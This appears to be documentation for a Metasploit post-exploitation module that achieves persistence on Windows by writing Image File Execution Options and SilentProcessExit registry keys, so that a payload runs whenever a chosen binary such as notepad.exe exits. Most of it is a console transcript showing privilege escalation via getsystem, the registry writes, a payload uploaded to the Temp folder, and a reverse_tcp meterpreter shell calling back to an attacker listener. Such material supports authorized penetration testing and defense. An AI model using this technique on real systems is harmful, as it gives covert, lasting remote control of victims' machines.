3.5 KiB
3.5 KiB
Description
This module leverages Windows debugging tools to cause a payload to launch every time a specified binary exits.
The payload will execute at the same priv level as the launched binary.
Vulnerable Target
Windows 7+ as elevated user
Verification Steps
[*] Meterpreter session 8 opened (192.168.135.168:5555 -> 192.168.132.125:49675) at 2019-09-30 16:24:30 -0500
meterpreter > sysinfo
Computer : DESKTOP-D1E425Q
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > background
[*] Backgrounding session 8...
msf5 exploit(multi/handler) > use exploit/windows/local/persistence_image_exec_options
msf5 exploit(windows/local/persistence_image_exec_options) > set image_file notepad.exe
image_file => notepad.exe
msf5 exploit(windows/local/persistence_image_exec_options) > set session 8
session => 8
msf5 exploit(windows/local/persistence_image_exec_options) > run
[*] Attempting Persistence on DESKTOP-D1E425Q via session ID: 8
[*] Payload pathname = C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe
[*] Writing GlobalFlag to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe
[*] Writing ReportingMode to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe
[*] Writing MonitorProcess to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe
[*] Payload (7168 bytes) uploaded on DESKTOP-D1E425Q to C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe
msf5 exploit(windows/local/persistence_image_exec_options) > show options
Module options (exploit/windows/local/persistence_image_exec_options):
Name Current Setting Required Description
---- --------------- -------- -----------
IMAGE_FILE notepad.exe yes Binary to "debug"
PATH no Path to write binaries if if USE_INJECTION=false(%TEMP% by default).
PAYLOAD_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default).
SESSION 8 yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.168 yes The listen address (an interface may be specified)
LPORT 4545 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(windows/local/persistence_image_exec_options) >
In another window, start a listener and then launch notepad.exe on the target. Close notepad.exe and you should get a callback:
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.135.168:4545
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 3 opened (192.168.135.168:4545 -> 192.168.132.125:49679) at 2019-09-30 16:25:49 -0500
meterpreter > sysinfo
Computer : DESKTOP-D1E425Q
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >